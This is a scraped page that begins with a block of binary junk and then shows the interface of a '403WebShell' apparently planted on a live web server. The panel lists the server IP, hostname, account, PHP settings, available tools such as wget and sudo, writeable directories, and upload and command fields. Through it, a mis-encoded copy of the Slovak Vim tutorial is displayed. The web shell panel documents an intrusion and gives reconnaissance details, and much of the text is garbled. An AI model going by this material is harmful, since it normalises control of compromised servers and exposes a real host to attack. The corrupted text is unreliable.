DW�0�ꊩ���G�#��Q�nL3��c���������/��x ��1�1[y�x�პCW��C�c�UĨ80�m�e�4.{�m��u���I=��f�����0QRls9���f���������9���~f�����Ǩ��a�"@�8���ȁ�Q����#c�ic������G��$���G���r/$W�(��W���V�"��m�7�[m�A�m����bo��D� j����۳� l���^�k�h׽����� ��#� iXn�v��eT�k�a�^Y�4�BN��ĕ��0 !01@Q"2AaPq3BR������?���@4�Q�����T3,���㺠�W�[=JK�Ϟ���2�r^7��vc�:�9 �E�ߴ�w�S#d���Ix��u��:��Hp��9E!�� V 2;73|F��9Y���*ʬ�F��D����u&���y؟��^EA��A��(ɩ���^��GV:ݜDy�`��Jr29ܾ�㝉��[���E;Fzx��YG��U�e�Y�C���� ����v-tx����I�sם�Ę�q��Eb�+P\ :>�i�C'�;�����k|z�رn�y]�#ǿb��Q��������w�����(�r|ӹs��[�D��2v-%��@;�8<a���[\o[ϧw��I!��*0�krs)�[�J9^��ʜ��p1)� "��/_>��o��<1����A�E�y^�C��`�x1'ܣn�p��s`l���fQ��):�l����b>�Me�jH^?�kl3(�z:���1ŠK&?Q�~�{�ٺ�h�y���/�[��V�|6��}�KbX����mn[-��7�5q�94�������dm���c^���h� X��5��<�eޘ>G���-�}�دB�ޟ� ��|�rt�M��V+�]�c?�-#ڛ��^ǂ}���Lkr���O��u�>�-D�ry� D?:ޞ�U��ǜ�7�V��?瓮�"�#���r��չģVR;�n���/_� ؉v�ݶe5d�b9��/O��009�G���5n�W����JpA�*�r9�>�1��.[t���s�F���nQ� V 77R�]�ɫ8����_0<՜�IF�u(v��4��F�k�3��E)��N:��yڮe��P�`�1}�$WS��J�SQ�N�j�ٺ��޵�#l���ј(�5=��5�lǏmoW�v-�1����v,W�mn��߀$x�<����v�j(����c]��@#��1������Ǔ���o'��u+����;G�#�޸��v-lη��/(`i⣍Pm^���ԯ̾9Z��F��������n��1��� ��]�[��)�'������:�֪�W��FC����� �B9،!?���]��V��A�Վ�M��b�w��G F>_DȬ0¤�#�QR�[V��kz���m�w�"��9ZG�7'[��=�Q����j8R?�zf�\a�=��O�U����*oB�A�|G���2�54 �p��.w7� �� ��&������ξxGHp� B%��$g�����t�Џ򤵍z���HN�u�Я�-�'4��0��;_��3 !01"@AQa2Pq#3BR������?��ʩca��en��^��8���<�u#��m*08r��y�N"�<�Ѳ0��@\�p��� �����Kv�D��J8�Fҽ� �f�Y��-m�ybX�NP����}�!*8t(�OqѢ��Q�wW�K��ZD��Δ^e��!� ��B�K��p~�����e*l}z#9ң�k���q#�Ft�o��S�R����-�w�!�S���Ӥß|M�l޶V��!eˈ�8Y���c�ЮM2��tk���� ������J�fS����Ö*i/2�����n]�k�\���|4yX�8��U�P.���Ы[���l��@"�t�<������5�lF���vU�����W��W��;�b�cД^6[#7@vU�xgZv��F�6��Q,K�v��� �+Ъ��n��Ǣ��Ft���8��0��c�@�!�Zq s�v�t�;#](B��-�nῃ~���3g������5�J�%���O������n�kB�ĺ�.r��+���#�N$?�q�/�s�6��p��a����a��J/��M�8��6�ܰ"�*������ɗud"\w���aT(����[��F��U՛����RT�b���n�*��6���O��SJ�.�ij<�v�MT��R\c��5l�sZB>F��<7�;EA��{��E���Ö��1U/�#��d1�a�n.1ě����0�ʾR�h��|�R��Ao�3�m3 ��%�� ���28Q� ��y��φ���H�To�7�lW>����#i`�q���c����a��� �m,B�-j����݋�'mR1Ήt�>��V��p���s�0IbI�C.���1R�ea�����]H�6����������4B>��o��](��$B���m�����a�!=��?�B� K�Ǿ+�Ծ"�n���K��*��+��[T#�{E�J�S����Q�����s�5�:�U�\wĐ�f�3����܆&�)����I���Ԇw��E T�lrTf6Q|R�h:��[K�� �z��c֧�G�C��%\��_�a�84��HcO�bi��ؖV��7H �)*ģK~Xhչ0��4?�0��� �E<���}3���#���u�?�� ��|g�S�6ꊤ�|�I#Hڛ� �ա��w�X��9��7���Ŀ%�SL��y6č��|�F�a 8���b��$�sק�h���b9RAu7�˨p�Č�_\*w��묦��F ����4D~�f����|(�"m���NK��i�S�>�$d7SlA��/�²����SL��|6N�}���S�˯���g��]6��; �#�.��<���q'Q�1|KQ$�����񛩶"�$r�b:���N8�w@��8$�� �AjfG|~�9F ���Y��ʺ��Bwؒ������M:I岎�G��`s�YV5����6��A �b:�W���G�q%l�����F��H���7�������Fsv7��k�� 403WebShell
403Webshell
Server IP : 97.74.90.209  /  Your IP : 216.73.216.74
Web Server : Apache
System : Linux live.indianstaffingfederation.org 4.18.0-553.54.1.el8_10.x86_64 #1 SMP Tue May 27 22:49:52 EDT 2025 x86_64
User : indianstaffing ( 1003)
PHP Version : 8.3.22
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/vim/vim80/tutor/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/vim/vim80/tutor/tutor.sk.cp1250
===============================================================================
=    V i t a j t e   v o   V I M   T u t o r i a l i    -    Verzia 1.7       =
===============================================================================

     Vim je ve�mi v�konn� editor, ktor� m� pr�li� ve�a pr�kazov na to aby
     mohli byt v�etky pop�san� vo v�uke akou je t�to. T�to v�uka
     popisuje dostato�n� mno�stvo pr�kazov nato aby bolo mo�n� pou��va�
     Vim ako viac��elov� editor.

     Pribli�n� �as potrebn� na prebratie tejto v�uky je 25-30 min�t,
     z�vis� na tom, ko�ko je str�ven�ho �asu s presk��avan�m.

     UPOZORNENIE:
     Pr�kazy v lekci�ch modifikuj� text. Vytvor k�piu tohto s�boru aby
     sa mohlo precvi�ova� na �om (pri �tarte "vimtutor" je toto k�pia).

     Je d�le�it� zapam�ta� si, �e t�to v�uka je vytvoren� pre v�uku
     pou��van�m. To znamen�, �e je potrebn� si pr�kazy vysk��a�, aby bolo
     u�enie spr�vne. Ak len �itas text, pr�kazy zabudne�!

     Presved� sa, �e Caps-Lock NIEJE stla�en� a stla�t kl�vesu
     j  nieko�ko kr�t, aby sa kurzor posunul nato�ko, �e lekcia 1.1
     celkom zapln� obrazovku.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
			Lekcia 1.1:  POHYB KURZOROM


   ** Pre pohyb kurzorum stla� kl�vesy h,j,k,l ako je zn�zornen�. **
        ^
        k        Funkcia: Kl�vesa h je na�avo a vykon� pohyb do�ava.
   < h     l >   Kl�vesa l je napravo a vykon� pohyb doprava.
        j        Kl�vesa j vyzer� ako ��pka dole
	      v
  1. Pohybuj kurzorom po obrazovke, k�m si na to nezvykne�.

  2. Dr� stla�en� kl�vesu pre pohyb dole (j), k�m sa jej funkcia nezopakuje.
---> Teraz sa u� vie� pohybova� na nasleduj�cu lekciu.

  3. Pou�it�m kl�vesy pre pohyb dole prejdi na Lekciu 1.2.

Pozn�mka: Ak si niesi ist� t�m �o si nap�sal, stla� <ESC>
	        na prechod do norm�lneho m�du.

Pozn�mka: Kurzorov� kl�vesy s� tie� funk�n�. Ale pou��van�m hjkl sa bude�
	        schopn� pohybova� r�chlej�ie, ke� si zvykne� ich pou��va�. Naozaj!

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
		     LEKCIA 1.2: ZATV�RANIE VIMU


  !! POZN�MKA: Pred vykonan�m t�chto krokov si pre��taj cel� t�to lekciu !!

  1. Stla� kl�vesu <ESC> (aby si sa u�ite nach�dzal v norm�lnom m�de)

  2. Nap�:   :q! <ENTER>.
     T�m ukon�� pr�cu s editorom BEZ ulo�enia zmien, ktor� si vykonal.

  3. Ke� sa dostane� na pr�kazov� riadok, nap� pr�kaz, ktor�m sa dostane�
     spe� do tejto v�uky. To m�e by�:	vimtutor <ENTER>

  4. Ak si si tieto kroky spo�ahlivo zapam�tal, vykonaj kroky 1 a� 3, pre
     ukon�enie a znovu spustenie editora.

POZN�MKA: :q! <ENTER> neulo�� zmeny, ktor� si vykonal. O nieko�ko lekci�
          sa nau�� ako ulo�i� zmeny do s�boru

  5. presu� kurzor dole na lekciu 1.3.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
		      Lekcia 1.3: EDIT�CIA TEXTU - MAZANIE


** Stla�enie kl�vesy  x  v norm�lnom m�de zma�e znak na mieste kurzora. **

  1. Presu� kurzor ni��ie na riadok ozna�en� zna�kou --->.

  2. Aby si mohol odstr�ni� chyby, pohybuj kurzorom k�m neprejde na znak,
     ktor� chce� zmaza�.

  3. Stla� kl�vesu  x  aby sa zmazal nechcen� znak.

  4. Zopakuj kroky 2 a� 4 a� k�m veta nieje spr�vna.

---> Kraava skoo�illa ccezz mesiiac.

  5. Ak je veta spr�vna, prejdi na lekciu 1.4.

POZN�MKA: Nesk��aj si zapam�ta� obsah tejto v�uky, ale sa u� pou��van�m.



~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
		     Lekcia 1.4: EDIT�CIA TEXTU - VKLADANIE


    ** Stla�enie kl�vesy  i  umo��uje vkladanie textu. **

  1. Presu� kurzor ni��ie na prv� riadok za zna�ku --->.

  2. Pre upravenie prv�ho riadku do rovnak�ho tvaru ako je druh� riadok,
     presu� kurzor na prv� znak za misto, kde m� by� text vlo�en�.

  3. Stla� kl�vesu  i  a nap� potrebn� text.

  4. Po opraven� ka�dej chyby, stla� <ESC> pre n�vrat do norm�lneho m�du.
     Zopakuj kroky 2 a� 4 k�m nieje veta spr�vna.

---> Tu je text ch�baj�ci tejto.
---> Tu je nejak� text ch�baj�ci od tejto �iary.

  5. Ke� sa dostato�ne nau�� vklada� text, prejdi na nasleduj�ce zhrnutie.


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
        Lekcia 1.5: EDIT�CIA TEXTU - PRID�VANIE


     ** Stla�enie kl�vesy  A  umo��uje prid�va� text. **

  1. Presu� kurozr ni��ie na prv� riadok za zna�kou --->.
     Nez�le�� na tom, na ktorom znaku sa kurzor v tom riadku nach�dza.

  2. Stla� kl�vesu  A  a nap� potrebn� text.

  3. Po pridan� textu stla� kl�vesu <ESC> pre n�vrat do Norm�lneho m�du.

  4. Presu� kurozr na druh� riadok ozna�en� ---> a zopakuj
     kroky 2 a 3 k�m nieje veta spr�vna.

---> Tu je nejak� text ch�baj�ci o
     Tu je nejak� text ch�baj�ci od tia�to.
---> Tu tie� ch�ba nej
     Tu tie� ch�ba nejak� text.

  5. Ke� sa dostato�ne nau�� prid�va� text, prejdi na lekciu 1.6.


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
       Lekcia 1.6: EDIT�CIA S�BORU


    ** Nap�san�m  :wq  sa s�bor ulo�� a zavrie **

!! POZN�MKA: Pred vykonan�m t�chto krokov si pre��taj cel� lekciu!!

1. Opusti t�to v�uku, ako si to urobil v lekcii 1.2:  :q!

2. Do pr�kazov�ho riadku nap� pr�kaz:  vim tutor <ENTER>
   'vim' je pr�kaz, ktor� spust� editor Vim, 'tutor' je meno s�boru,
   ktor� chce� editova�. Pou�i tak� s�bor, ktor� m�e� meni�.

3. Vlo� a zma� text tak, ako si sa nau�il v predo�l�ch lekciach.

4. Ulo� s�bor so zmenami a opusti Vim pr�kazom:  :wq  <ENTER>

5. Re�tartuj vimtutor a presu� sa dole na nasleduj�ce zhrnutie.

6. Urob tak po pre��tan� predo�l�ch krokov a porozumeniu im.


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
			       ZHRNUTIE LEKCIE 1


  1. Kurzor sa pohybuje pou�it�m kl�ves so ��pkami alebo kl�vesmi hjkl.
	  h (do lava)    j (dole)    k (hore)    l (doprava)

  2. Pre spustenie Vimu (z pr�kazov�ho riadku) nap�: vim FILENAME <ENTER>

  3. Na ukon�enie Vimu nap�: <ESC>  :q!  <ENTER> pre zru�enie v�etk�ch zmien
       alebo nap�:   <ESC>   :wq   <ENTER>    pre ulo�enie zmien.

  4. Na zmazanie znaku na mieste kurzora nap�:  x

  5. Pre vlo�enie textu na mieste kurzora v norm�lnom m�de nap�:
	 i     nap� vkladan� text   <ESC>  vkladanie pred kurzor
   A     nap� prid�van� text  <EXC>  vkladanie za riadok

POZN�MKA: Stla�enie <ESC> �a premiestn� do norm�lneho m�du alebo zru��
	        nejak� nechcen� a �iasto�ne dokon�en� pr�kaz.

Teraz pokra�uj lekciou 2.


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
			Lekcia 2.1: Mazacie pr�kazy


	 ** Nap�sanie pr�kazu  dw  zma�e znaky do konca slova. **

1. Stla�  <ESC>  aby si bol bezpe�ne v norm�lnom m�de.

2. Presu� kurzor ni��ie na riadok ozna�en� zna�kou --->.

3. Presu� kurzor na za�iatok slova, ktor� je potrebn� zmaza�.

4. Nap�  dw  aby slovo zmizlo.

POZN�MKA: P�smeno d sa zobraz� na poslednom riadku obrazovky ke� ho
	        nap�e�. Vim na teba po�k�, aby si mohol nap�sa�
          p�smeno w. Ak vid� nie�o in� ako  d , tak si nap�sal
          nespr�vny znak; stla�  <ESC>  a za�ni znova.

---> Tu je nieko�ko slov z�bava, ktor� nie patria list do tejto vety.

5. Zopakuj kroky 3 a� 4 k�m veta nieje spr�vna a prejdi na lekciu 2.2.



~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
		      Lekcia 2.2: VIAC MAZAC�CH PR�KAZOV


	 ** Nap�sanie pr�kazu d$  zma�e znaky do konca riadku **

1. Stla�  <ESC>  aby si bol bezpe�ne v norm�lnom m�de.

2. Presu� kurzor ni��ie na riadok ozna�en� zna�kou --->.

3. Presu� kurzor na koniec spr�vnej vety (ZA prv� bodku).

4. Nap�    d$    aby sa zmazali znaky do konca riadku.

---> Niekto nap�sal koniec tohto riadku dvakr�t. koniec tohot riadku dvakr�t.


5. Prejdi na lekciu 2.3 pre pochopenie toho �o sa stalo.


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
		     Lekcia 2.3: OPER�TORY A POHYBY

  Ve�a pr�kazov, ktor� menia text s� odvoden� od oper�torov a pohybov.
  Form�t pre pr�kaz mazania kl�vesou  d  je nasledovn�:

    d   pohyb

  kde:
    d     - je mazac� oper�tor
    pohyb - je to �o oper�tor vykon�va (vyp�san� ni��ie)

  Kr�tky list pohybov:
    w - do za�iatku �al�ieho slova, okrem jeho prv�ho p�smena.
    e - do konca teraj�ieho slova, vr�tane posledn�ho znaku.
    $ - do konca riadku, vr�tane posledn�ho znaku

  Tak�e nap�san�m  de  sa zma�e v�etko od kurzora do konca slova.

POZN�MKA: Stla�en�m iba pohybu v norm�lnom m�de bez oper�tora
          sa presunie kurzor tak ako je to �pecivikovan�.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
		Lekcia 2.4: Pou�itie viacn�sobn�ho pohybu


   ** Nap�san�m ��sla pred pohyb ho zopakuje zadn� po�et kr�t **

  1. Presu� kurozr ni��ie na za�iatok riadku ozna�en�ho --->.

  2. Nap�  2w  a kurozr sa presunie o dve slov� vpred.

  3. Nap�  3e  a kurozr sa presunie vpred na koniec tretieho slova.

  4. Nap�  0  (nula) a kurozr sa presunie na za�iatok riadku.

  5. Zopakuj kroky 2 a 3 s r�znymi ��slami.

---> Toto je riadok so slovami po kotr�ch sa m�ete pohybova�.

  6. Prejdi na lekciu 2.5.


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
		  Lekcia 2.5: POU�ITIE VIACN�SOBN�HO MAZANIA PRE HROMADN� MAZANIE


    ** Nap�sanie ��sla spolu s oper�torom ho zopakuje zadan� po�et kr�t **

  V kombin�cii oper�torov mazania a pohybu spom�nan�ho vy��ie vlo� po�et
  pred pohyb pre docielenie hromadn�ho mazania:
    d   ��slo   pohyb

  1. Presu� kurzor na prv� slovo p�san� VE�K�MI P�SMENAMI
     v riadku ozna�enom --->.

  2. Nap�  2dw  a zma�e� dve slov� p�san� VE�K�MI P�SMENAMI

  3. Zopakuj kroky 1 a 2 s pou�it�m r�zneho ��sla tak aby si zmazal slov�
     p�san� ve�k�mi p�smenami jedn�m pr�kazom.

---> Tento ABC DE riadok FGHI JK LMN OP so slovamI je Q RS TUV vycisteny.

POZN�MKA: ��slo medzi oper�torom  d  a pohybom funguje podobne ako pri
          pou�it� s pohybom bez oper�tora.


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    		Lekcia 2.6: OPER�CIE S RIADKAMI


	    ** Nap�sanie pr�kazu   dd   zma�e cel� riadok. **

Vzh�adom na frekvenciu mazania cel�ho riadku, sa autori Vimu rozhodli,
�e bude jednoduch�ie maza� cel� riadok nap�san�m dvoch p�smen d.

1. Presu� kurzor na druh� riadok v texte na spodu.
2. Nap�  dd  aby si zmazal riadok.
3. Prejdi na �tvrt� riadok.
4. Nap�   2dd   aby si zmazal dva riadky.

    1)  Ru�e s� �erven�,
    2)  Blato je z�bavn�,
    3)  Fialky s� modr�,
    4)  M�m auto,
    5)  Hodinky ukazuj� �as,
    6)  Cukor je sladk�,
    7)  A to si ty.


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
			Lekcia 2.7: PR�KAZ UNDO


** Stla�  u  pre vr�tenie posledn�ho pr�kazu,  U  pre �pravu cel�ho riadku. **

1. Presu� kurzor ni��ie na riadok ozna�en� zna�kou ---> a premiestni ho na
   prv� chybu.
2. Nap�  x  pre zmazanie prv�ho nechcen�ho riadku.
3. Teraz nap�  u  ��m vr�t� sp� posledne vykonan� pr�kaz.
4. Teraz oprav v�etky chyby na riadku pou�it�m pr�kazu  x  .
5. Teraz nap� ve�k�   U  ��m vr�t� riadok do p�vodn�ho stavu.
6. Teraz nap�  u  nieko�ko kr�t, ��m vr�t� sp� pr�kaz U.
7. Teraz nap� CTRL-R (dr� kl�vesu CTRL stla�en� k�m stl��a� R) nieko�ko
   kr�t, ��m vr�t� sp� predt�m vr�ten� pr�kazy (undo z undo).

---> Opprav chybby nna toomto riadku a zmee� ich pommocou undo.

  8. Tieto pr�kazy s� �asto pou��van�. Teraz prejdi na zhrnutie lekcie 2.




~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
			       LEKCIA 2 ZHRNUTIE


  1. Pre zmazanie znakov od kurzora do konca slova nap�:   dw

  2. Pre zmazanie znakov od kurzora do konca riadku nap�:   d$

  3. Pre zmazanie cel�ho riadku nap�:   dd

  4. Pre zopakovanie pohybu, nap� pred neho ��slo:   2w

  5. Form�t pre p�kaz:

       oper�tor   [��slo]   pohyb
     kde:
       oper�tor - �o treba robi�, napr�klad  d  pre zmazanie
       [��slo] - je volite�n� po�et pre opakovanie pohybu
       pohyb - pohyb po texte vzh�adom na oper�tor, napr�klad w (slovo),
		$ (do konca riadku), at�.

  6. Pre pohyb na za�iatok riadku pou�i nulu:  0

  7. Pre vr�tenie sp� predo�lej oper�cie nap�:	u   (mal� u)
     Pre vr�tenie v�etk�ch �prav na riadku nap�:    U   (ve�k� U)
     Pre vr�tenie vr�ten�ch �prav nap�:	      CTRL-R

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
			 Lekcia 3.1: PR�KAZ VLO�I�


	  ** Nap�sanie pr�kazu  p  vlo�� psledn� v�maz za kurzor. **

  1. Presu� kurzor ni��ie na prv� riadok textu.

  2. Nap�  dd  ��m zma�e� riadok a ulo�� ho do buffera editora Vim.

  3. Presu� kurzor vy��ie tam, kam zmazan� riadok patr�.

  4. Ak nap�e� v norm�lnom m�de   p   zmazan� riadk sa vlo��.

  5. Zopakuj kroky 2 a� 4, k�m riadky nies� v spr�vnom porad�.

---> d) Tie� sa dok�e� vzdel�va�?
---> b) Fialky s� modr�,
---> c) Inteligencia sa vzdel�va,
---> a) Ru�e s� �erven�,



~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
		       Lekcia 3.2: PR�KAZ NAHRADENIA


     ** Nap�san�m  rx  sa nahrad� znak na mieste kurzora znakom  x . **

  1. Presu� kurzor ni��ie na prv� riadok textu ozna�en�ho zna�kou --->.

  2. Presu� kurzor na za�iatok prvej chyby.

  3. nap�  r  a potom znak, ktor� tam m� by�.

  4. Zopakuj kroky 2 a 3, k�m prv� riadok nieje zhodn� s druh�m.

---> Ka� bol tento riasok p�aan�, niekro stla�il nespr�bne kl�vesy!
---> Ke� bol tento riadok p�san�, niekto stla�il nespr�vne kl�vesy!

  5. Teraz prejdi na lekciu 3.2.

POZN�MKA: Pam�taj si, �e nau�i� sa m�e� len pou��vanim, nie pam�tan�m.



~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
		       Lekcia 3.3. PR�KAZ �PRAVY


     ** Ak chce� zmeni� �as� slova do konca slova, nap�  ce . **

  1. Presu� kurzor ni��ie na prv� riadok ozna�en� zna�kou --->.

  2. Umiestni kurzor na p�smeno o v slove rosfpl.

  3. Nap�  ce  a oprav slovo (v tomto pr�pade nap� 'iadok'.)

  4. Stla� <ESC> a prejdi na �al�� znak, ktor� treba zmeni�.

  5. Zopakuj kroky 3 a 4, k�m prv� veta nieje rovnak� ako druh�.

---> Tento rosfpl m� nieko�ko skic, ktor� je pirewvb� zmeni� piy�u��n pr�kazu.
---> Tento riadok m� nieko�ko slov, ktor� je potrebn� zmeni� pou�it�m pr�kazu.

Pozn�mka, �e  ce  zma�e slovo a nastav� vkladac� m�d.



~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
		       Lekcia 3.4: VIAC ZMIEN POU�IT�M c


   ** Pr�kaz pre �pravy sa pou��va s rovnak�mi pohybmi ako pre mazanie **

  1. Pr�kaz pre �pravy pracuje rovnako ako pre mazanie. Form�t je:

        c    [��slo]    pohyb

  2. Pohyby s� rovnak�, ako napr�klad   w (slovo) a  $ (koniec riadku).

  3. Presu� kurzor ni��ie na prv� riadok ozna�en� zna�kou --->.

  4. Presu� kurzor na prv� chybu.

  5. nap�  c$  aby si mohol upravi� zvy�ok riadku pod�a druh�ho
     a stla� <ESC>.

---> Koniec tohto riadku potrebuje pomoc, aby bol ako druhy.
---> Koniec tohto riadku potrebuje opravi� pou�it�m pr�kazu  c$ .

POZN�MKA: M�e� pou�i� kl�vesu backspace na �pravu zmien po�as p�sania.


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
			       LEKCIA 3 ZHRNUTIE


  1. Na vlo�enie textu, ktor� u� bol zmazan�, nap�  p . To vlo�� zmazan�
     text ZA kurzor (ak bol riadok zmazan� prejde na riadok pod kurzorom).

  2. Pre naradenie znaku na mieste kurzora, nap�  r  a potom znak, ktor�
     nahrad� p�vodn� znak.

  3. Pr�kaz na upravenie umo��uje zmeni� od kurzora a� po miesto, ktor�
     ur�uje pohyb.  napr. Nap�  ce  ��m zmn� text od poz�cie
     kurzora do konca slova, c$  zmen� text do konca riadku.

  4. Form�t pre nahradenie je:

	    c    [��slo]    pohyb


Teraz prejdi na nalseduj�cu lekciu.



~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
		     Lekcia 4.1: POZ�CIA A STATUS S�BORU


  ** Stla� CTRL-g pre zobrazenie svojej poz�cie v s�bore a statusu s�boru.
     Nap�  G  pre presun na riadok v s�bore. **

  Pozn�mka: Pre��taj si cel� t�to lekciu sk�r ako za�ne� vykon�va� kroky!!

  1. Dr� stla�en� kl�vesu Ctrl a stla�  g . Toto naz�vame CTRL-G.
     Na spodu obrazovky sa zobraz� spr�va s n�zvom s�boru a poz�ciou
     v s�bore. Zapam�tajsi si ��slo riadku pre pou�itie v kroku 3.

  2. Stla�  G  ��m sa dostane� na spodok s�boru.
     Nap�  gg  ��m sa dostane� na za�iatok s�boru.

  3. Nap� ��slo riadku na ktorom si sa nach�dzal a stla�  G. To �a
     vr�ti na riadok, na ktorom si prv� kr�t stla�il CTRL-G.

  4. Ak sa c�t� schopn� vykona� teto kroky, vykonaj kroky 1 a� 3.



~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
			Lekcia 4.2: PR�KAZ VYH�AD�VANIA


  ** Nap�  /  nasledovan� re�azcom pre vyh�adanie pr�slu�n�ho re�azca. **

  1. Nap� znak  /  v norm�lnom m�de. Pozn�mka, �e tento znak sa spolu
     s kurzorom zobraz� v dolnej �asti obrazovky s  :  pr�kazom.

  2. Teraz nap� 'errroor' <ENTER>. To je slovo, ktor� chce� vyh�ada�.

  3. Pre vyh�adanie �al�ieho v�skytu rovnak�ho re�azca, stla� jednoducho  n.
     Pre vyh�adanie �al�ieho v�skytu rovnak�ho re�azca opa�n�m smerom,
     N.

  4. Ak chce� vyh�ada� re�azec v sp�tnom smere, pou�� pr�kaz  ?  miesto
     pr�kazu /.

  5. Pre n�vrat na miesto z ktor�ho si pri�iel stla� CTRL-O (dr� stla�en�
     kl�vesu Ctrl po�as stla�enia kl�vesy o). Zopakuj pre �al�� n�vrat
     sp�. CTRL-I ide vpred.

POZN�MKA: "errroor" nieje sp�sob hl�skovania error; errroor je error.
POZN�MKA: Ke� vyh�ad�vanie dosiahne koniec tohto s�boru, bude pokra�ova� na
      za�iatku, dokia� nieje resetovan� nastavenie 'wrapscan' .


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
	     Lekcia 4.3: VYH�AD�VANIE ZODPOVEDAJ�CICH Z�TAVORIEK


	 ** Nap�  %  pre vyh�adanie pr�slu�n�ho znaku ),], alebo } . **

  1. Premiestni kurzor na hocak� zo znakov (, [, alebo { v riadku ni��ie
     ozna�en�ho zna�kou --->.

  2. Teraz nap� znak  % .

  3. Kurzor sa premiestni na zodpovedaj�cu z�tvorku.

  4. Nap�  %  pre presun kurzoru sp� na otv�raj�cu z�tvorku.

  5. Presu� kurzor na in� zo znakov (,),[,],{ alebo } a v�imni si
     �o % vykon�va.

---> Toto ( je testovac� riadok s ('s, ['s ] a {'s } v riadku. ))

Pozn�mka: Toto je ve�mi v�hodn� pou�� pri laden� programu s ch�baj�cimi
	  uzatv�raj�cimi z�tvorkami!



~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
		      Lekcia 4.4: PR�KAZ NAHRADENIA


 ** Nap�   :s/star�/nov�/g  pre nahradenie slova 'star�' za slovo 'nov�'. **

  1. Presu� kurzor ni��ie na riadok ozna�en� zna�kou --->.

  2. Nap�  :s/thee/the <ENTER> . Poznamka, �e tento pr�kaz zmen� len prv�
     v�skyt "thee" v riadku.

  3. Teraz nap�   :s/thee/the/g   �o znamen� celkov� nahradenie v riadku.
     Toto nahrad� v�etky v�skyty v riadku.

---> Thee best time to see thee flowers in thee spring.

  4. Pre zmenu v�etk�ch v�skytov dan�ho re�azca medzi dvomi ridakami,
     nap�  :#,#s/star�/nov�/g  kde #,# s� ��sla dvoch riadkov, v rozsahu
                                ktor�ch sa nahradenie vykon�.
     nap�  :%s/star�/nov�/g    pre zmenu v�etk�ch v�skytov v celom riadku
     nap�  :%s/star�/nov�/gc   n�jde v�etky v�skyty v celom s�bore,
                                s ot�zkou �i nahradi� alebo nie



~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
			       LEKCIA 4 ZHRNUTIE


  1. CTRL-g    vyp�e tvoju poz�ciu v s�bore a status s�boru.
            G  �a premiestni na koniec riadku.
     ��slo  G  �a premiestni na riadok s ��slom.
           gg  �a presunie na prv� riadok

  2. Nap�sanie  /  nasledovan� re�azcom vyh�ad� re�azec smerom DOPREDU.
     Nap�sanie  ?  nasledovan� re�azcom vyh�ada re�azec smerom DOZADU.
     Nap�sanie  n  po vyh�ad�van�, vyh�ad� nasleduj�ci v�skyt re�azca
     v rovnakom smere, pri�om  N  vyh�ad� v opa�nom smere.
